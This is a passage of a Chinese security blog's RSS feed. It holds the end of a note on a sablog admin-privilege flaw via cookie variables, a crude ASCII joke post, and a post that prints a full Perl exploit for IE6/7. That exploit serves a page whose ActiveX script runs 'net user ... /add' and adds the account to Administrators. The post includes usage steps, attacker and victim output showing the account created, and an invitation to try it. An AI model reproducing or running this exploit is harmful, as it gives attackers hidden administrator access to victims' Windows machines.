list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode(&quot;\t&quot;, authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量

$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)

$seccode = $sessionexists = 0;
$userfields = [...]&lt;img src=&quot;http://www1.feedsky.com/t1/338844757/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844757/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844757/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844757/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=3aa2fa80ac0ad9f74b04396449a4d6e3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=3aa2fa80ac0ad9f74b04396449a4d6e3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d611cd0b2d9b207424b7889c7e5a715c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d611cd0b2d9b207424b7889c7e5a715c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=409d670a4efa08e14c2b8e9c1a462fe6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=409d670a4efa08e14c2b8e9c1a462fe6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=163c029f6363821aa8c0be0b11255817&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=163c029f6363821aa8c0be0b11255817&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=037b67b1040fdd8bef901d56c5b15140&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=037b67b1040fdd8bef901d56c5b15140&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=c9a7617c87a6873795be5bafdb42feb1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=c9a7617c87a6873795be5bafdb42feb1&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6bbc055db9994da098f556bfb563ef7e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6bbc055db9994da098f556bfb563ef7e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=1657a92b194d50996bffc7deaf7a7b21&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=1657a92b194d50996bffc7deaf7a7b21&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=f20d213163e75a19371f2e7c9d82dab8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=f20d213163e75a19371f2e7c9d82dab8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>漏洞</category><category>学习笔记</category><category>sablog</category><category>后台</category><pubDate>Thu, 25 Feb 2010 10:32:44 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/364.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=364</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/364.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844757/5987391</fs:itemid></item><item><title>IE6/7远程执行代码（远程添加用户漏洞）</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844758/5987391/1/item.html</link><content:encoded>&lt;p&gt;利用代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
#!/usr/bin/perl

use strict;
use Socket;
use IO::Socket;
print &quot;\n&quot;;
print &quot;800008                           8                      \n&quot;;
print &quot;8      e  eeeee eeeeeee eeeee    8     eeeee eeeee  eeeee\n&quot;;
print &quot;8eeeee 8  8  88 8  8  8 8   8    8e    8   8 8   8  8   | \n&quot;;
print &quot;    88 8e 8   8 8e 8  8 8eee8    88    8eee8 8eee8e 8eeee \n&quot;;
print &quot;e   88 88 8   8 88 8  8 88  8    88    88  8 88   8    88 \n&quot;;
print &quot;8eee88 88 8eee8 88 8  8 88  8    88eee 88  8 88eee8 8ee88 \n&quot;;
print &quot;-----------------------------------------------------------\n&quot;;
print &quot; Useage : $0 Port \n&quot;;
print &quot; Please Read the Instruction befor you use this \n&quot;;
print &quot; ---------------------------------\n&quot;;

sub parse_form {
    my $data = $_[0];
    my %data;
    foreach (split /&amp;amp;/, $data) {
        my ($key, $val) = split /=/;
        $val =~ s/\+/ /g;
        $val =~ s/%(..)/chr(hex($1))/eg;
        $data{$key} = $val;}
    return %data; }

my $port = shift;
defined($port) or die &quot;Usage: $0 Port \n&quot;;
mkdir(&quot;public_html&quot;, 0777) || print $!;
my $DOCUMENT_ROOT = $ENV{'HOME'} . &quot;/public_html&quot;;

print &quot; [+] Account Name : &quot;; chomp(my $acc=&amp;lt;STDIN&amp;gt;);
print &quot; [+] Account Password : &quot;; chomp(my $pass=&amp;lt;STDIN&amp;gt;);
print &quot; [+] Your IP : &quot;; chomp (my $ip=&amp;lt;STDIN&amp;gt;);
#------------- Exploit -----------------
my $iexplt= &quot;public_html/index.html&quot;;
open (myfile, &quot;&amp;gt;&amp;gt;$iexplt&quot;);
    print myfile &quot;&amp;lt;html&amp;gt;\n&quot;;
    print myfile &quot;&amp;lt;title&amp;gt; IE User Add Test &amp;lt;/title&amp;gt;\n&quot;;
    print myfile &quot;&amp;lt;head&amp;gt;&quot;;
    print myfile &quot;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;\n&quot;;
    print myfile &quot;&amp;lt;p&amp;gt;\n&quot;;
    print myfile &quot;&amp;lt;object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='exploit'\n&quot;;
    print myfile  &quot;&amp;gt;&amp;lt;/object&amp;gt;\n&quot;;
    print myfile  &quot;&amp;lt;script language='vbscript'&amp;gt;\n&quot;;
    print myfile  &quot;adduser=&quot;;
    print myfile '&quot;cmd';
    print myfile &quot; /c net user $acc $pass /add &amp;amp;&amp;amp; net localgroup Administrators $acc &quot;;
    print myfile '/add&quot;';
    print myfile &quot;\n&quot;;
    print myfile &quot;exploit.run adduser \n&quot;;
    print myfile &quot;\n &amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;\n&quot;;
    print &quot; [+] ----------------------------------------\n&quot;;
    print &quot; [-] Link Genetrated : http://$ip:$port/index.html\n&quot;;
        close (myfile);
#------------------------------------

my $server = new IO::Socket::INET(Proto =&amp;gt; 'tcp',
                                  LocalPort =&amp;gt; $port,
                                  Listen =&amp;gt; SOMAXCONN,
                                  Reuse =&amp;gt; 1);
$server or die &quot;Unable to create server socket: $!&quot; ;

while (my $client = $server-&amp;gt;accept()) {
    $client-&amp;gt;autoflush(1);
    my %request = ();
    my %data;

    {

        local $/ = Socket::CRLF;
        while (&amp;lt;$client&amp;gt;) {
            chomp;
            if (/\s*(\w+)\s*([^\s]+)\s*HTTP\/(\d.\d)/) {
                $request{METHOD} = uc $1;
                $request{URL} = $2;
                $request{HTTP_VERSION} = $3;
            }
            elsif (/:/) {
                (my $type, my $val) = split /:/, $_, 2;
                $type =~ s/^\s+//;
                foreach ($type, $val) {
                         s/^\s+//;
                         s/\s+$//;
                }
                $request{lc $type} = $val;
            }
            elsif (/^$/) {
                read($client, $request{CONTENT}, $request{'content-length'})
                    if defined $request{'content-length'};
                last;
            }
        }
    }

    if ($request{METHOD} eq 'GET') {
        if ($request{URL} =~ /(.*)\?(.*)/) {
                $request{URL} = $1;
                $request{CONTENT} = $2;
                %data = parse_form($request{CONTENT});
        } else {
                %data = ();
        }
        $data{&quot;_method&quot;} = &quot;GET&quot;;
    } elsif ($request{METHOD} eq 'POST') {
                %data = parse_form($request{CONTENT});
                $data{&quot;_method&quot;} = &quot;POST&quot;;
    } else {
        $data{&quot;_method&quot;} = &quot;ERROR&quot;;
    }

        my $localfile = $DOCUMENT_ROOT.$request{URL};

        if (open(FILE, &quot;&amp;lt;$localfile&quot;)) {
            print $client &quot;HTTP/1.0 200 OK&quot;, Socket::CRLF;
            print $client &quot;Content-type: text/html&quot;, Socket::CRLF;
            print $client Socket::CRLF;
            my $buffer;
            while (read(FILE, $buffer, 4096)) {
                print $client $buffer;
            }
            $data{&quot;_status&quot;} = &quot;200&quot;;
        }
        else {
            print $client &quot;HTTP/1.0 404 Not Found&quot;, Socket::CRLF;
            print $client Socket::CRLF;
            print $client &quot;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;404 Not Found&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;;
            $data{&quot;_status&quot;} = &quot;404&quot;;
        }
        close(FILE);

        print ($DOCUMENT_ROOT.$request{URL},&quot;\n&quot;);
        foreach (keys(%data)) {
                print (&quot;   $_ = $data{$_}\n&quot;); }

    close $client;
    # Sioma Labs
    # http://siomalabs.com
    # Sioma Agent 154
}
#Instructions
#-----------
#
# This has been tested on windows envirnment(VisTa) . and the victom OS was windows xp sp2 ( InterNET eXplorer 7 )
# To use this on remote PC the generated link should be on victims trusted site list (tools &amp;gt;Internet Option&amp;gt; Security &amp;gt; Trusted Site&amp;gt; Sites)
# No requrement to run it locally . just open the exploit(public_html/index.html) with the IE
# Test Run ( Used OS : Vista) / ( Victim Os : XP SP2 )
# -------------------------------------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将上面的代码保存成ie.pl就可以了，现在我们来看一下代码中的说明部分&lt;/p&gt;
&lt;p&gt;首先测试者用的是Vista的系统，测试对像用的是XP SP2 IE7&lt;/p&gt;
&lt;p&gt;我们要在受害者的电脑上生成一个受信任的网站链接，这里你可以在IE-工具-Internet选项-安全-受信任站点中添加。&lt;/p&gt;
&lt;p&gt;不用在本地运行，只要用IE打开有该漏洞代码的网页即可。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;这里我再说明一下，这段代码保存后会被NOD32查杀&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;下面我们来看看攻击过程&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# -------------------------------------------------------------
#
# Attacker
# =============
#
#
# E:\&amp;gt;ie.pl 123
#
#800008                           8
#8      e  eeeee eeeeeee eeeee    8     eeeee eeeee  eeeee
#8eeeee 8  8  88 8  8  8 8   8    8e    8   8 8   8  8   |
#    88 8e 8   8 8e 8  8 8eee8    88    8eee8 8eee8e 8eeee
#e   88 88 8   8 88 8  8 88  8    88    88  8 88   8    88
#8eee88 88 8eee8 88 8  8 88  8    88eee 88  8 88eee8 8ee88
#-----------------------------------------------------------
# Useage : E:\ie.pl Port
# Please Read the Instruction befor you use this \n&quot;;
# ---------------------------------
#[+] Account Name : test
# [+] Account Password : test
# [+] Your IP : 192.168.1.102
# [+] ----------------------------------------
# [-] Link Genetrated : http://192.168.1.102:123/index.html
#
#------------------------------------------------------------&amp;gt;
# Not Tested on Linux ( Should Work on it too) #
#
# Victim
#========
# Befor -
# C:\&amp;gt;net user
#
#User accounts for \\PC-00583E3C730C
#
#-------------------------------------------------------------------------------
#Administrator            SiomaPC                Guest
#HelpAssistant            SUPPORT_388945a0
#The command completed successfully.
#
# After -
#C:\&amp;gt;net user
#
#User accounts for \\PC-00583E3C730C
#
#-------------------------------------------------------------------------------
#Administrator            SiomaPC                Guest
#HelpAssistant            SUPPORT_388945a0        test
#The command completed successfully.
#
#C:\&amp;gt;
# ============================================================================
# The &quot;test&quot; user has been created successfully
#
# Delete The &quot;Public_Html\index.html&quot; If you use this for the 2nd time
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就是整个具体的攻击过程有兴趣的朋友可以试下：）&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844758/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844758/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844758/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844758/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=46a8705034cded5715f96576755b779c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=46a8705034cded5715f96576755b779c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6ab3a86a6fb2ee216298b2d999521d34&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6ab3a86a6fb2ee216298b2d999521d34&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=484dd3e60f8bbb5382a6289ab4522c61&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=484dd3e60f8bbb5382a6289ab4522c61&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=a3a0292f42260469a456954b5ae8b287&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=a3a0292f42260469a456954b5ae8b287&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=bee283eec8f923398e7088afeec43ec1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=bee283eec8f923398e7088afeec43ec1&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=69c082647a2b671c00a1c2c05d17ecc1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=69c082647a2b671c00a1c2c05d17ecc1&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=866014092d309febe1a0bf566c24de01&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=866014092d309febe1a0bf566c24de01&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=e22f44c074d7f1623ef10a5def671c6b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=e22f44c074d7f1623ef10a5def671c6b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d123b0012bf2755fa5b466d53c6dc348&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d123b0012bf2755fa5b466d53c6dc348&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/361.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>利用代码：

#!/usr/bin/perl

use strict;
use Socket;
use IO::Socket;
print &quot;\n&quot;;
print &quot;800008                           8                      \n&quot;;
print &quot;8      e  eeeee eeeeeee eeeee    8     eeeee eeeee  eeeee\n&quot;;
print &quot;8eeeee 8  8  88 8  8  8 8   8    8e    8   8 8   8  8   &amp;#124; \n&quot;;
print &quot;    88 8e 8   8 8e 8  8 8eee8    88    8eee8 8eee8e 8eeee \n&quot;;
print &quot;e   88 88 8   8 88 8  [...]&lt;img src=&quot;http://www1.feedsky.com/t1/338844758/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844758/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844758/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844758/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=46a8705034cded5715f96576755b779c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=46a8705034cded5715f96576755b779c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6ab3a86a6fb2ee216298b2d999521d34&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6ab3a86a6fb2ee216298b2d999521d34&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=484dd3e60f8bbb5382a6289ab4522c61&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=484dd3e60f8bbb5382a6289ab4522c61&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=a3a0292f42260469a456954b5ae8b287&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=a3a0292f42260469a456954b5ae8b287&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=bee283eec8f923398e7088afeec43ec1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=bee283eec8f923398e7088afeec43ec1&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=69c082647a2b671c00a1c2c05d17ecc1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=69c082647a2b671c00a1c2c05d17ecc1&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=866014092d309febe1a0bf566c24de01&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=866014092d309febe1a0bf566c24de01&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=e22f44c074d7f1623ef10a5def671c6b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=e22f44c074d7f1623ef10a5def671c6b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d123b0012bf2755fa5b466d53c6dc348&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d123b0012bf2755fa5b466d53c6dc348&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>ie6</category><category>远程漏洞</category><category>漏洞</category><category>工具收集</category><category>学习笔记</category><category>ie7</category><category>IE</category><pubDate>Wed, 24 Feb 2010 09:55:12 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/361.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=361</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/361.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844758/5987391</fs:itemid></item><item><title>无码套图</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844759/5987391/1/item.html</link><content:encoded>&lt;p style=&quot;text-align: left;&quot;&gt;B (=8&lt;/p&gt;
&lt;p&gt;B (==8&lt;/p&gt;
&lt;p&gt;B (===8&lt;/p&gt;
&lt;p&gt;B==8&lt;/p&gt;
&lt;p&gt;B8&lt;/p&gt;
&lt;p&gt;B==8&lt;/p&gt;
&lt;p&gt;B (===8&lt;/p&gt;
&lt;p&gt;B8&lt;/p&gt;
&lt;p&gt;B==8&lt;/p&gt;
&lt;p&gt;B (===8&lt;/p&gt;
&lt;p&gt;B8&lt;/p&gt;
&lt;p&gt;(B==8&lt;/p&gt;
&lt;p&gt;B8&lt;/p&gt;
&lt;p&gt;(B==8&lt;/p&gt;
&lt;p&gt;B8&lt;/p&gt;
&lt;p&gt;(B==8&lt;/p&gt;
&lt;p&gt;**(==B8&lt;/p&gt;
&lt;p&gt;&amp;#8230;zzzZZZ&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;从马老大那转来的，自己看吧，发挥你的想像力！我想你能看明白的：）&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844759/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844759/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844759/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844759/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=0342cda887bee9cfcedf0c8782e12d15&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=0342cda887bee9cfcedf0c8782e12d15&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=2297a54de711e54d35bd7440d85ab987&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=2297a54de711e54d35bd7440d85ab987&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6b5c36040942fb70818fe502248a8f8d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6b5c36040942fb70818fe502248a8f8d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=4c68be58a73775970773c4856fa5e327&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=4c68be58a73775970773c4856fa5e327&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=664bdaaf0800805e48d269c269b2f2e8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=664bdaaf0800805e48d269c269b2f2e8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b8fa8243929e7e2ea7874c7132a9db03&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b8fa8243929e7e2ea7874c7132a9db03&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=8cfc04550494cc0d1f214fe784faa448&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=8cfc04550494cc0d1f214fe784faa448&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=cd6908903f43f06a2ec78bad25879ac0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=cd6908903f43f06a2ec78bad25879ac0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=adaccc4b42f1ff279f64ac1b563c890b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=adaccc4b42f1ff279f64ac1b563c890b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/357.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>B (=8
B (==8
B (===8
B==8
B8
B==8
B (===8
B8
B==8
B (===8
B8
(B==8
B8
(B==8
B8
(B==8
**(==B8
&amp;#8230;zzzZZZ
从马老大那转来的，自己看吧，发挥你的想像力！我想你能看明白的：）&lt;img src=&quot;http://www1.feedsky.com/t1/338844759/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844759/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844759/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844759/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=0342cda887bee9cfcedf0c8782e12d15&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=0342cda887bee9cfcedf0c8782e12d15&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=2297a54de711e54d35bd7440d85ab987&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=2297a54de711e54d35bd7440d85ab987&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6b5c36040942fb70818fe502248a8f8d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6b5c36040942fb70818fe502248a8f8d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=4c68be58a73775970773c4856fa5e327&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=4c68be58a73775970773c4856fa5e327&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=664bdaaf0800805e48d269c269b2f2e8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=664bdaaf0800805e48d269c269b2f2e8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b8fa8243929e7e2ea7874c7132a9db03&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b8fa8243929e7e2ea7874c7132a9db03&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=8cfc04550494cc0d1f214fe784faa448&quot; target=&quot;_blank&quot;&gt;&lt;img 